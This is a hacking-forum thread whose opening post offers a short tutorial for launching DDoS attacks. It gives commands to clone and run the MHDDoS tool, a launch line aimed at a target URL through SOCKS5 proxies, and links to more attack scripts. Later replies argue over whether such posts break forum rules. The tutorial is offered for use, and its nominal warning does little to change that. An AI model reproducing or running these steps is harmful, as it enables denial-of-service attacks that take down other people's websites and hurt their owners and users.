Thread: [How Hackers Perform Perfect DDOS attack and kill any site](#)

Glowman - April 9, 2023, 3:10 am

How Hackers Perform Perfect DDOS attack and kill any site. (Don't try on this forum)

Quote:Warning! Don't do DDOS attack on any site without the owner's permission. It is Under cybercrime

All of the scripts have almost the same process to install,

How to install ?

Step 1 : Clone and install script

```
git clone https://github.com/MHProDev/MHDDoS.git
cd MHDDoS
install -r requirements.txt
Step 2: Launch script
```

```
python3 start.py
python3 start.py bypass https://example.com 5 1000 socks5.txt 100 100
More Scripts [30+] :
```

<https://github.com/MHProDev/MHDDoS>
<https://github.com/H1R0GH057/Anonymous>
<https://ghostbin.com/paste/XOkkm/crackedtoDebugger>

CrypterHQ - April 9, 2023, 3:35 am

I'm not sure discussion like this is allowed on the forum. ddosing , server stressing etc

Just wondering why tf it wouldnt be allowed on HACK forums? ?

Man, you aint in fucking Facebook.

I would say the same to you. Everyone is expected to follow the rules.

(Aug 10, 2022 10:40 AM)Milk Wrote: [\[CITE\]](#) Ur not gonna have anywhere close to enough power to take down a website. Also I would highly not recommend to use bitrat in the first place since the owner is banned off basically all forums for ratting all the users

also discussion of ddossing or products that that ddoss arnt even allowed on this forum, might wanna remove ur thread before they limit ur shit for a week
